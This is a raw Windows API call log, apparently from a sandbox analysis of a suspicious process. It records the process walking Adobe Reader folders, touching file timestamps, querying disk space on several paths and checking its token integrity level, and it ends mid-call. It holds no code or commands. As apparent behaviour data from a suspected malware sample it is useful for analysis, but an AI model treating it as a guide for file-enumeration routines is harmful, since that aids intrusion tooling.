CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.231] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.231] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.232] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.232] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.233] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.233] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.233] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.234] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\euq"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.234] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.234] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.235] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.235] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.235] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.235] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.235] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.237] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.237] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.237] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.237] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.237] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.238] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.238] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.238] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.239] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.239] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.239] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.240] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.240] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.241] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.241] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.241] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.242] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.242] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.242] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.243] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.243] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.243] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.244] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.244] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.245] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.245] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.246] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.246] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.246] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.247] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.247] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.248] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.248] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.248] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.249] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.249] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.250] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.250] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.250] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.250] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.250] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.251] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.251] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.252] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.252] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.255] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.255] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0070.256] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.256] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.257] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.257] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x177c558, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x177c558, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0071.102] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0071.106] GetDiskFreeSpaceExW (in: lpDirectoryName="C:", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0071.106] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0071.106] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0071.635] TerminateThread (hThread=0x6, dwExitCode=0x0) returned 0 [0071.640] NtClose (Handle=0x6) returned 0x0 [0073.422] GetProcessTimes (in: hProcess=0x15c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0073.422] OpenProcessToken (in: ProcessHandle=0x15c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0073.422] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0073.422] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0073.422] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0073.422] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0073.422] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0073.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0073.423] NtClose (Handle=0x2e8) returned 0x0 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045268 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x195d2c0 [0073.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045268) returned 1 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x380) returned 0x1030560 [0073.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x195d2c0) returned 1 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045268 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x195d2c0 [0073.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045268) returned 1 [0073.423] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x195d2c0) returned 1 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045268 [0073.423] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x195d2c0 [0073.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045268) returned 1 [0073.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x195d2c0) returned 1 [0073.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0073.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045268 [0073.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x195d2c0 [0073.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045268) returned 1 [0073.424] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x195d2c0) returned 1 [0073.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045268 [0073.424] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x140) 